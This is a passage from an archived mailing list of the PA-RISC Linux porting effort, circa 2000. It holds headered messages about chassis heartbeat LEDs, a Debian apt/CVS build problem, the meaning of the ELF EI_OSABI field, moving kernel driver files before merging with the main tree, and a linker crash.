> and soft power control. I guess this is my reminder to do that. :^)

Isn't there a PDC call (pdc_chassis?) to do this?  Or is the heartbeat
LED done by hardware?

- Alex

-- 
Alex deVries, Principal Solutions Architect, The Puffins at Linuxcare
613.562.2759 tel
alex@linuxcare.com, http://www.linuxcare.com/
Linuxcare, Support for the revolution.


From - Thu Nov 08 21:14:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Fun build problems
Date: Tue, 21 Nov 2000 18:50:24 -0700
Lines: 66
Approved: news@gmane.org
Message-ID: <20001121185024.E576@tausq.org>
References: <20001121164148.H912@achilles.net>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="9zSXsLTf0vkW971A"
X-Trace: ger.gmane.org 1416619328 6914 80.91.229.3 (22 Nov 2014 01:22:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:08 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com
To: "Paul J.Y. Lahaie" <pjlahaie@linuxcare.com>
Original-X-From: randolph@tausq.org  Tue Nov 21 18:48:27 2000
Original-Received: from phnxpop5.phnx.uswest.net (phnxpop5.phnx.uswest.net [206.80.192.5])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA12801
	for <parisc-linux@puffin.external.hp.com>; Tue, 21 Nov 2000 18:48:27 -0700
Original-Received: (qmail 868 invoked by alias); 22 Nov 2000 01:50:33 -0000
Delivered-To: fixup-parisc-linux@puffin.external.hp.com@fixme
Original-Received: (qmail 764 invoked by uid 0); 22 Nov 2000 01:50:30 -0000
Original-Received: from dslpppc239.phnx.uswest.net (HELO gandalf.tausq.org) (63.224.148.239)
  by phnxpop5.phnx.uswest.net with SMTP; 22 Nov 2000 01:50:30 -0000
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 13yP3I-0001xe-00; Tue, 21 Nov 2000 18:50:24 -0700
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20001121164148.H912@achilles.net>; from pjlahaie@linuxcare.com on Tue, Nov 21, 2000 at 04:41:48PM -0500
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Xref: news.gmane.org gmane.linux.ports.parisc:8567


--9zSXsLTf0vkW971A
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

> Seeing as apt was broken, I decided to download the woody version of apt =
so
> I can get a newer version and hopefully skip some steps in building the
> above packages.  gcc 2.96 and apt-0.3.19 don't get along, so I tried pick=
ing
> it up from cvs (supposed to have been fixed).  Follow the directions on
> cvs.debian.org
>=20
> $ cvs -d :pserver:anonymous@cvs.debian.org:/cvs/APT login
> (Logging in to anonymous@cvs.debian.org)
> CVS password:=20
> cvs login: authorization failed: server cvs.debian.org rejected access

Try:

cvs -d:pserver:anonymous@cvs.debian.org:/cvs/deity login
(empty password)

It should work. if not let me know and i can mail you a tarball. You
probably want to get the aliencode branch, which has hppa patches. Let
me know if you run into any problems.

> rsync -- ldd crashes on dpkg-shlibdepends stage
> Can I just manually put the required dependancies in?

Yes, or pick up the dpkg-architecture and dpkg-shlibdeps scripts from
http://puffin.external.hp.com/~tausq/, or wait for the next version of
dpkg to get built for hppa (it doesn't use ldd anymore)

> autoconf -- installinfo spins
>=20
> When installing the autoconf package (to compile dpkg) installinfo spins.
> And after several minutes still doesn't return.  It's taking up 100% cpu
> at the time.

hmmm.. didn't see this. I had built a slightly older version of dpkg
successfully.

randolph (tausq@debian.org)
--=20
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^

--9zSXsLTf0vkW971A
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.1 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE6GyZgULspdC1Zp9IRAozyAKC/Df1fexltMjFlcwpeYlD+IIWEigCgiGyT
YKOjLA0BQzMo7qOj8jC1BTI=
=whh1
-----END PGP SIGNATURE-----

--9zSXsLTf0vkW971A--


From - Thu Nov 08 21:14:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "H . J . Lu" <hjl@valinux.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Use of the EI_OSABI field
Date: Tue, 21 Nov 2000 19:11:29 -0800
Lines: 38
Approved: news@gmane.org
Message-ID: <20001121191129.A4978@valinux.com>
References: <20001121165327.A12804@valinux.com> <Pine.LNX.4.21.0011221258270.16860-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619328 6916 80.91.229.3 (22 Nov 2014 01:22:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:08 +0000 (UTC)
Cc: Ulrich Drepper <drepper@cygnus.com>, John Marvin <jsm@udlkern.fc.hp.com>,
        parisc-linux@puffin.external.hp.com, parisc-linux@thepuffingroup.com,
        binutils@sourceware.cygnus.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: hjl@valinux.com  Tue Nov 21 20:09:19 2000
Original-Received: from mail.valinux.com (smtp-fwd.valinux.com [198.186.202.196])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id UAA14252
	for <parisc-linux@puffin.external.hp.com>; Tue, 21 Nov 2000 20:09:19 -0700
Original-Received: from osmium.hdqt.valinux.com
	([10.3.1.14] helo=valinux.com ident=mail)
	by mail.valinux.com with esmtp (Exim 3.16 #1 (Debian))
	id 13yQJl-0003Wr-00; Tue, 21 Nov 2000 19:11:29 -0800
Original-Received: by valinux.com (Postfix, from userid 561)
	id 392FAAD11; Tue, 21 Nov 2000 19:11:29 -0800 (PST)
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.LNX.4.21.0011221258270.16860-100000@front.linuxcare.com.au>; from alan@linuxcare.com.au on Wed, Nov 22, 2000 at 02:03:07PM +1100
Xref: news.gmane.org gmane.linux.ports.parisc:8568

On Wed, Nov 22, 2000 at 02:03:07PM +1100, Alan Modra wrote:
> On Tue, 21 Nov 2000, H . J . Lu wrote:
> 
> > On Wed, Nov 22, 2000 at 11:13:29AM +1100, Alan Modra wrote:
> > > 
> > > > Anyway, the ABI value is zero unless you implement ELF extensions.
> > > 
> > > Exactly what is an "ELF extension"?  Anything outside gABI or
> > 
> > ELF extension is something whose interpretation is not documented in
> > neither gABI nor psABI. HP's old ELF is a good example since it didn't
> > implement DT_INIT/DT_FINI, but added DT_INIT_ARRARY/DT_FINI_ARRAY. A
> > normal ELF tool will have a hard time to interpret those fields and
> > their values.
> 
> Neither you nor Ulrich have responded to John's point that the IA64 psABI
> states
>   "The e_ident[EI_OSABI] value identifies the operating system and ABI to
>    which the object is targeted"
> 
> Granted, this is only in a processor specific ABI, but it does flatly
> contradict your assertions that the purpose of EI_OSABI is to flag the
> presense of ELF extensions.
> 

When I was at the IA64 ABI meeting yesterday, we were looking at the
EI_OSABI issue. Everyone at the IA64 ABI meeting agreed that what
Ulrich and I had said was the correct understanding.

"The e_ident[EI_OSABI] value identifies the operating system and ABI
to which the object is targeted" just means if the e_ident[EI_OSABI]
value is not ELFOSABI_NONE, you have to look somewhere else in addition
to gABI and IA64 psABI to interpret the ELF fields/values specific to
that OS. Otherwise, gABI and IA64 psABI are sufficient.

-- 
H.J. Lu (hjl@valinux.com)


From - Thu Nov 08 21:14:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Drepper <drepper@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Use of the EI_OSABI field
Date: 21 Nov 2000 19:18:21 -0800
Lines: 17
Approved: news@gmane.org
Message-ID: <m3aeasitj6.fsf@otr.mynet.cygnus.com>
References: <Pine.LNX.4.21.0011221258270.16860-100000@front.linuxcare.com.au>
Reply-To: drepper@cygnus.com (Ulrich Drepper)
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619328 6922 80.91.229.3 (22 Nov 2014 01:22:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:08 +0000 (UTC)
Cc: "H . J . Lu" <hjl@valinux.com>, John Marvin <jsm@udlkern.fc.hp.com>,
        parisc-linux@puffin.external.hp.com, parisc-linux@thepuffingroup.com,
        binutils@sourceware.cygnus.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: drepper@redhat.com  Tue Nov 21 20:16:17 2000
Original-Received: from cygnus.com (runyon.cygnus.com [205.180.230.5])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id UAA14407
	for <parisc-linux@puffin.external.hp.com>; Tue, 21 Nov 2000 20:16:17 -0700
Original-Received: from otr.mynet (dialin-sv-02.cygnus.com [205.180.231.52])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id TAA25543;
	Tue, 21 Nov 2000 19:18:19 -0800 (PST)
Original-Received: by otr.mynet (Postfix, from userid 500)
	id 23C4C30BB; Tue, 21 Nov 2000 19:18:22 -0800 (PST)
Original-Sender: drepper@cygnus.com
X-fingerprint: BE 3B 21 04 BC 77 AC F0  61 92 E4 CB AC DD B9 5A
In-Reply-To: Alan Modra's message of "Wed, 22 Nov 2000 14:03:07 +1100 (EST)"
Original-Lines: 16
User-Agent: Gnus/5.0807 (Gnus v5.8.7) XEmacs/21.1 (Capitol Reef)
Xref: news.gmane.org gmane.linux.ports.parisc:8569

Alan Modra <alan@linuxcare.com.au> writes:

>   "The e_ident[EI_OSABI] value identifies the operating system and ABI to
>    which the object is targeted"
> 
> Granted, this is only in a processor specific ABI, but it does flatly
> contradict your assertions that the purpose of EI_OSABI is to flag the
> presense of ELF extensions.

The meaning of the field changed over time.  Or better said, some
people initially understood it differently.

-- 
---------------.                          ,-.   1325 Chesapeake Terrace
Ulrich Drepper  \    ,-------------------'   \  Sunnyvale, CA 94089 USA
Red Hat          `--' drepper at redhat.com   `------------------------


From - Thu Nov 08 21:14:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Use of the EI_OSABI field
Date: Wed, 22 Nov 2000 14:03:07 +1100 (EST)
Lines: 29
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0011221258270.16860-100000@front.linuxcare.com.au>
References: <20001121165327.A12804@valinux.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619329 6925 80.91.229.3 (22 Nov 2014 01:22:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:09 +0000 (UTC)
Cc: Ulrich Drepper <drepper@cygnus.com>, John Marvin <jsm@udlkern.fc.hp.com>,
        parisc-linux@puffin.external.hp.com, parisc-linux@thepuffingroup.com,
        binutils@sourceware.cygnus.com
To: "H . J . Lu" <hjl@valinux.com>
Original-X-From: alan@linuxcare.com.au  Tue Nov 21 20:16:20 2000
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id UAA14464
	for <parisc-linux@puffin.external.hp.com>; Tue, 21 Nov 2000 20:16:20 -0700
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by atlrel1.hp.com (Postfix) with ESMTP id 14E1A9DB
	for <parisc-linux@puffin.external.hp.com>; Tue, 21 Nov 2000 22:18:31 -0500 (EST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id OAA26713;
	Wed, 22 Nov 2000 14:03:07 +1100
In-Reply-To: <20001121165327.A12804@valinux.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8570

On Tue, 21 Nov 2000, H . J . Lu wrote:

> On Wed, Nov 22, 2000 at 11:13:29AM +1100, Alan Modra wrote:
> > 
> > > Anyway, the ABI value is zero unless you implement ELF extensions.
> > 
> > Exactly what is an "ELF extension"?  Anything outside gABI or
> 
> ELF extension is something whose interpretation is not documented in
> neither gABI nor psABI. HP's old ELF is a good example since it didn't
> implement DT_INIT/DT_FINI, but added DT_INIT_ARRARY/DT_FINI_ARRAY. A
> normal ELF tool will have a hard time to interpret those fields and
> their values.

Neither you nor Ulrich have responded to John's point that the IA64 psABI
states
  "The e_ident[EI_OSABI] value identifies the operating system and ABI to
   which the object is targeted"

Granted, this is only in a processor specific ABI, but it does flatly
contradict your assertions that the purpose of EI_OSABI is to flag the
presense of ELF extensions.

Alan Modra
-- 
Linuxcare.  Support for the Revolution.




From - Thu Nov 08 21:14:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CVS linux Vs. -test10
Date: Tue, 21 Nov 2000 22:54:11 -0800
Lines: 64
Approved: news@gmane.org
Message-ID: <3A1B6D93.3B7D2474@uswest.net>
References: <200011212124.NAA20426@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619329 6926 80.91.229.3 (22 Nov 2014 01:22:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:09 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, parisc-linux@puffin.external.hp.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: rbradetich@uswest.net  Tue Nov 21 22:58:35 2000
Original-Received: from boispop1.bois.uswest.net (boispop1.bois.uswest.net [207.108.224.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id WAA16461
	for <parisc-linux@puffin.external.hp.com>; Tue, 21 Nov 2000 22:58:34 -0700
Original-Received: (qmail 90080 invoked by alias); 22 Nov 2000 06:00:35 -0000
Delivered-To: fixup-parisc-linux@puffin.external.hp.com@fixme
Original-Received: (qmail 90067 invoked by uid 0); 22 Nov 2000 06:00:35 -0000
Original-Received: from www.ybsoft.com (HELO uswest.net) (63.224.241.66)
  by boispop1.bois.uswest.net with SMTP; 22 Nov 2000 06:00:35 -0000
Original-Sender: rbrad@puffin.external.hp.com
X-Mailer: Mozilla 4.76 [en] (X11; U; HP-UX B.11.00 9000/755)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8571

Grant Grundler wrote:

> Matthew Wilcox wrote:
> ...
> > Someone (probably me) sends him a patch.  He told me at the Toronto
> > show that he was quite happy to apply anything that only touched those
> > two directories. (oh, and drivers/gsc wouldn't be a problem either).
> > Can I just check that no-one wants to rename drivers/gsc again?  :-)
>
> Hi Mathew,
> I don't and it's a good question.
> I would like a few files moved:
>
> arch/parisc/kernel/ccio-dma.c    -> drivers/gsc/ccio-dma.c
> arch/parisc/kernel/ccio-rm-dma.c -> drivers/gsc/ccio-rm-dma.c

Grant,

Do you really want to merget the ccio-rm-dma.c file into Linus's tree?
It is just a reference file used to construct the real ccio-dma.c file ... I
don't believe it is referenced anywhere.

I'll double check this in the morning.

- Ryan


>     ccio will *always* be associated with a GSC bus since that's
>     the secondary bus. And ccio supports devices below dino.c which
>     already lives in drivers/gsc.
>
> arch/parisc/kernel/lba_pci.c     -> drivers/ropes/lba_pci.c
> arch/parisc/kernel/sba_iommu.c   -> drivers/ropes/sba_iommu.c
> arch/parisc/kernel/iosapic.c     -> drivers/ropes/iosapic.c
>
>     lba/sba code is equivalent to dino/ccio code for another set
>     of platforms. And long term, I'm certain iosapic.c does not
>     belong under arch/parisc. I can do this move if there are no
>     major objections.
>
> Any reason why we couldn't do these moves *after* you submit a patch?
>
> FWIW, here are issues I see with merging IA64 iosapic code with mine:
> o iosapic "discovery" (I invented register_iosapic() interface for parisc)
> o parisc PDC calls (initialization)
> o interrupt policy decisions (eg EOI generation and picking a CPU)
> o I don't have time to do it in the near future.
>
> Folks working on IA64 stuff inside HP need to think about:
> (a) if they want to do the merge any time soon
> (b) which iosapic.c they want to start with
> (c) where the final version should live
>
> thanks,
> grant
>
> Grant Grundler
> Unix Systems Enablement Lab
> +1.408.447.7253
>
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.


From - Thu Nov 08 21:14:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CVS linux Vs. -test10
Date: Tue, 21 Nov 2000 23:50:03 -0700 (MST)
Lines: 22
Approved: news@gmane.org
Message-ID: <200011220650.XAA13575@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619329 6931 80.91.229.3 (22 Nov 2014 01:22:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:09 +0000 (UTC)
To: parisc-linux@puffin.external.hp.com
Original-X-From: jsm@udlkern.fc.hp.com  Tue Nov 21 23:49:01 2000
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id XAA16896
	for <parisc-linux@puffin.external.hp.com>; Tue, 21 Nov 2000 23:49:00 -0700
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel2.hp.com (Postfix) with ESMTP id BAF9711E
	for <parisc-linux@puffin.external.hp.com>; Wed, 22 Nov 2000 01:51:15 -0500 (EST)
Original-Received: (from jsm@localhost) by udlkern.fc.hp.com (8.8.6 (PHNE_14041)/8.7.3 SMKit7.0) id XAA13575 for parisc-linux@puffin.external.hp.com; Tue, 21 Nov 2000 23:50:03 -0700 (MST)
Xref: news.gmane.org gmane.linux.ports.parisc:8572


> Better to get our house in order before we patchbomb Linus, I think.
> Renames are hard enough in CVS; renames in diff -u format are a real
> stinker :-)

In that case, we need to do some cleanup first.  I've been lobbying for
the removal of the almost empty arch/parisc/real directory, and its few
remaining valid files moved to the kernel directory.  There are also a
fair number of dead files.  Every file that is not currently involved in
the build should be removed, unless a good case for it remaining can be
made.  If the reason to keep it is not a long term reason, then that file
should not be sent to Linus (It sounds like it is a lot easier to add
files rather than remove/rename them).

If there are any files that are currently in use, but which we know
will eventually be removed, perhaps we should consider what to do with
that file (although I don't know of any files in this category at the
moment).

John Marvin
jsm@fc.hp.com


From - Thu Nov 08 21:14:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Linker problems
Date: Fri, 30 Apr 1999 19:07:56 -0400 (EDT)
Lines: 36
Approved: news@gmane.org
Message-ID: <Pine.LNX.3.96.990430190529.10592L-100000@devserv.devel.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619330 6933 80.91.229.3 (22 Nov 2014 01:22:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:10 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@redhat.com  Fri Apr 30 17:08:00 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id RAA16446
	for <parisc-linux@puffin.external.hp.com>; Fri, 30 Apr 1999 17:07:59 -0600
Original-Received: (qmail 5153 invoked by uid 15267); 30 Apr 1999 23:06:07 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5143 invoked from network); 30 Apr 1999 23:06:07 -0000
Original-Received: from devserv.devel.redhat.com (adevries@207.175.42.156)
  by mailserv2.iuinc.com with SMTP; 30 Apr 1999 23:06:07 -0000
Original-Received: from localhost (adevries@localhost)
	by devserv.devel.redhat.com (8.8.7/8.8.7) with SMTP id TAA21732
	for <parisc-linux@thepuffingroup.com>; Fri, 30 Apr 1999 19:07:56 -0400
X-Authentication-Warning: devserv.devel.redhat.com: adevries owned process doing -bs
X-Sender: adevries@devserv.devel.redhat.com
Xref: news.gmane.org gmane.linux.ports.parisc:8573


When I build the current kernel in CVS, it gets remarkably far, then dies
on:

parisc-linux-ld -m hppaelf -e stext arch/parisc/kernel/head.o
arch/parisc/kernel/init_task.o init/main.o init/version.o \
        --start-group \
        arch/parisc/kernel/kernel.o arch/parisc/mm/mm.o kernel/kernel.o
mm/mm.o fs/fs.o ipc/ipc.o \
        fs/filesystems.a \
        net/network.a \
        drivers/block/block.a drivers/char/char.a drivers/misc/misc.a
drivers/net/net.a drivers/video/video.a \
        /usr/src/parisc/work/linux/arch/parisc/lib/lib.a
/usr/src/parisc/work/linux/lib/lib.a
/usr/src/parisc/work/linux/arch/parisc/lib/lib.a \
        --end-group \
        -o vmlinux
make: *** [vmlinux] Aborted (core dumped)
make: *** Deleting file `vmlinux'

That's remarkably gross, since it indicates that there's a problem with
the linker.  I'm not quite sure what it is, but the problem seems to come
up when it's processing lib/libc.a.

I think that's a good thing for someone to look into.

- Alex

-- 
Alex deVries <puffin@redhat.com>     
Red Hat Contrib Net maintainer          
Ottawa, Canada  
PA RISC Linux Porting Team



From - Thu Nov 08 21:14:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CVS linux Vs. -test10
Date: Tue, 21 Nov 2000 23:18:16 -0800
Lines: 26
Approved: news@gmane.org
Message-ID: <200011220718.XAA21144@milano.cup.hp.com>
References: <3A1B6D93.3B7D2474@uswest.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619330 6937 80.91.229.3 (22 Nov 2014 01:22:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:10 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: grundler@cup.hp.com  Wed Nov 22 00:17:10 2000
Original-Received: from palrel3.hp.com (palrel3.hp.com [156.153.255.226])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id AAA17525
	for <parisc-linux@puffin.external.hp.com>; Wed, 22 Nov 2000 00:17:10 -0700
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP id 0F148872
	for <parisc-linux@puffin.external.hp.com>; Tue, 21 Nov 2000 23:19:25 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id XAA21144;
	Tue, 21 Nov 2000 23:18:21 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 21 Nov 2000 22:54:11 PST."
             <3A1B6D93.3B7D2474@uswest.net> 
Xref: news.gmane.org gmane.linux.ports.parisc:8574

Ryan Bradetich wrote:
> Do you really want to merget the ccio-rm-dma.c file into Linus's tree?
> It is just a reference file used to construct the real ccio-dma.c file ... I
> don't believe it is referenced anywhere.

Hi Ryan,
Yes I do. It is supposed to work for ccio+PCX-W platforms (eg C360).
Keeping it arround will document the pro/con's of that approach and
give folks who have time (and the right machine) something to experiment
with instead of writing it from scratch.  If someone finds an application
it's good for (short transactions with low latency requirements perhaps),
it's worth having around.

It's not referenced because I didn't add a CONFIG_CCIO_RM_IOMMU flag
or ccio_rm_init() call to drivers/gsc/gsc.c:gsc_init().  You are welcome
add this CONFIG flag by hacking arch/parisc/config.in and defconfig.
If you do, please add rules which only allow one or the other
CONFIG_CCIO* option to be enabled.

thanks,
grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:14:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Alexandru Pirvulescu" <Pirvulescu_Alexandru@telemobil.ro>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] case LEDs
Date: Wed, 22 Nov 2000 09:36:58 +0200
Lines: 39
Approved: news@gmane.org
Message-ID: <006001c05456$febb1cd0$6811620a@sigxcpu>
References: <200011211855.KAA20167@milano.cup.hp.com> <3A1B2F27.D08EC2AF@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619330 6938 80.91.229.3 (22 Nov 2014 01:22:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:10 +0000 (UTC)
Cc: <parisc-linux@puffin.external.hp.com>
To: "Alex deVries" <adevries@linuxcare.com>,
        "Grant Grundler" <grundler@cup.hp.com>
Original-X-From: Pirvulescu_Alexandru@telemobil.ro  Wed Nov 22 00:34:44 2000
Original-Received: from main.suntel-lems.ro (root@main.suntel-lems.ro [194.102.106.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id AAA18063
	for <parisc-linux@puffin.external.hp.com>; Wed, 22 Nov 2000 00:34:42 -0700
Original-Received: from net4u.telemobil.ro (root@net4u.telemobil.ro [194.102.106.69])
	by main.suntel-lems.ro (8.8.8/8.8.8) with ESMTP id IAA05362;
	Wed, 22 Nov 2000 08:24:13 +0200
Original-Received: (from root@localhost)
	by net4u.telemobil.ro (8.9.3/8.9.3) id JAA04278;
	Wed, 22 Nov 2000 09:35:53 +0200
Original-Received: from sigxcpu (sigxcpu.telemobil.ro [10.98.17.104])
	by net4u.telemobil.ro (8.9.3/8.9.3) with SMTP id JAA04275;
	Wed, 22 Nov 2000 09:35:52 +0200
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Xref: news.gmane.org gmane.linux.ports.parisc:8575

I think that the heartbeat LED is software because it starts with the kernel
boot and if the kernel stops the LED stops
blinking too. Is better to implement a software monitoring tool because you
have to watch the software for hanging.

Alex

PS. There is a function in the kernel source in
linux/arch/parisc/kernel/process.c named machine_heartbeat(). Any connection
with the heartbeat from the chassis?


----- Original Message -----
From: "Alex deVries" <adevries@linuxcare.com>
To: "Grant Grundler" <grundler@cup.hp.com>
Cc: "Alexandru Pirvulescu" <Pirvulescu_Alexandru@telemobil.ro>;
<parisc-linux@puffin.external.hp.com>
Sent: Wednesday, November 22, 2000 4:27 AM
Subject: Re: [parisc-linux] case LEDs


> Grant Grundler wrote:
> > Yes.
> > I was already asked this weekend to dig up technical info on LED
> > and soft power control. I guess this is my reminder to do that. :^)
>
> Isn't there a PDC call (pdc_chassis?) to do this?  Or is the heartbeat
> LED done by hardware?
>
> - Alex
>
> --
> Alex deVries, Principal Solutions Architect, The Puffins at Linuxcare
> 613.562.2759 tel
> alex@linuxcare.com, http://www.linuxcare.com/
> Linuxcare, Support for the revolution.
>
>


From - Thu Nov 08 21:14:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bas Valkema" <bvalkema@knowhowww.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] case LEDs
Date: Wed, 22 Nov 2000 06:32:51 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <009201c05445$ab994880$0401a8c0@paardvantroje>
References: <200011211855.KAA20167@milano.cup.hp.com> <3A1B2F27.D08EC2AF@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619331 6946 80.91.229.3 (22 Nov 2014 01:22:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:11 +0000 (UTC)
